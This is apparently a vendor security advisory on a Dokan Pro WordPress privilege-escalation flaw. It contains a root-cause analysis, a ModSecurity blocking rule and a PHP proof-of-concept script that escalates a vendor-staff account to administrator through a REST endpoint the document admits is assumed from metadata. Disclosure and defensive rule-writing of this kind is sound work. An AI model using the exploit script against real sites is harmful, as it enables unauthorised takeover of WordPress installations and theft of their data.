Atomic Edge analysis of CVE-2026-12224 (metadata-based): This vulnerability affects the Dokan Pro plugin for WordPress, specifically versions up to and including 5.0.4. It allows an authenticated attacker with Vendor-level access (who can self-provision their account) to escalate privileges to administrator. The severity is high (CVSS 8.8) due to the potential for full site takeover.
The root cause lies in improper privilege management (CWE-269) within the `update_capabilities()` REST handler. Based on the description, Atomic Edge analysis infers that the handler accepts arbitrary capability strings from the request body and passes them directly to `WP_User::add_cap()` without any allowlist or validation of the capabilities being set. The handler only checks that the caller has the `dokandar` capability, which is typical for vendors on Dokan. This means a vendor can assign any WordPress capability, including ‘administrator’, to a ‘vendor_staff’ account. No code diff is available, so this inference relies entirely on the CVE metadata.
Exploitation requires a vendor to have the Vendor Staff module enabled on the site. The attacker authenticates as a vendor and sends a POST request to the Dokan REST API endpoint (likely under `/wp-json/dokan-pro/v1/` or similar namespace) that handles updating staff capabilities. The request body contains the user ID of a staff member and an array of capabilities including ‘administrator’. The endpoint calls `WP_User::add_cap()` with these capabilities without filtering. The attacker can then log in as the staff member who now has administrator privileges, leading to full site control.
Remediation requires the plugin to implement an allowlist of permitted capabilities for vendor staff roles. The fix should validate each capability string against a defined set of safe capabilities before passing it to `WP_User::add_cap()`. Additionally, the REST endpoint should verify that the vendor cannot escalate their own privileges and that staff accounts cannot be granted capabilities exceeding the vendor’s own capabilities.
If exploited, the impact is severe. An attacker with only Vendor-level access can gain full administrator privileges on the WordPress site. This allows complete control over the site including content manipulation, user management, plugin installation, and potentially server-level access through file uploads or code execution. The attacker can deface the site, exfiltrate user data, or use the compromised site for further attacks.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-12224 (metadata-based)
# Blocks privilege escalation via Dokan Pro update_capabilities REST endpoint
# Matching: POST to dokan-pro/v1/vendor-staff/update-capabilities with capabilities containing 'administrator'
SecRule REQUEST_URI "@rx ^/wp-json/dokan-pro/v[12]/vendor-staff/update-capabilities$"
"id:20261224,phase:2,deny,status:403,chain,msg:'CVE-2026-12224 privilege escalation attempt via Dokan Pro REST API',severity:'CRITICAL',tag:'CVE-2026-12224',tag:'wordpress',tag:'dokan-pro'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS:capabilities "@rx administrator"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12224 - Dokan Pro <= 5.0.4 - Authenticated (Vendor+) Privilege Escalation via update_capabilities REST Endpoint
// Configuration
$target_url = 'https://example.com'; // Change to target WordPress site
$vendor_username = 'vendor_user';
$vendor_password = 'vendor_pass';
$staff_user_id = 2; // ID of vendor_staff account to escalate
// Step 1: Authenticate as vendor
$login_url = $target_url . '/wp-json/jwt-auth/v1/token'; // Assumes JWT auth plugin (common with Dokan)
$login_data = array(
'username' => $vendor_username,
'password' => $vendor_password
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($login_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die('[-] Authentication failed. Check credentials or JWT plugin.');
}
$token_data = json_decode($response, true);
$token = $token_data['token'];
echo '[+] Obtained vendor JWT token: ' . substr($token, 0, 20) . '...' . PHP_EOL;
// Step 2: Exploit the update_capabilities endpoint
// Assumed REST endpoint based on Dokan Pro patterns: /wp-json/dokan-pro/v1/vendor-staff/update-capabilities
$exploit_url = $target_url . '/wp-json/dokan-pro/v1/vendor-staff/update-capabilities';
$payload = array(
'user_id' => $staff_user_id,
'capabilities' => array(
'administrator' => true
)
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Bearer ' . $token
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo '[+] Exploit response code: ' . $http_code . PHP_EOL;
echo '[+] Response body: ' . $response . PHP_EOL;
if ($http_code === 200 || $http_code === 201) {
echo '[+] Privilege escalation likely successful. Staff user ID ' . $staff_user_id . ' should now have administrator capabilities.' . PHP_EOL;
} else {
echo '[-] Exploit may have failed. Check if vendor staff module is enabled and the REST endpoint matches.' . PHP_EOL;
}
?>
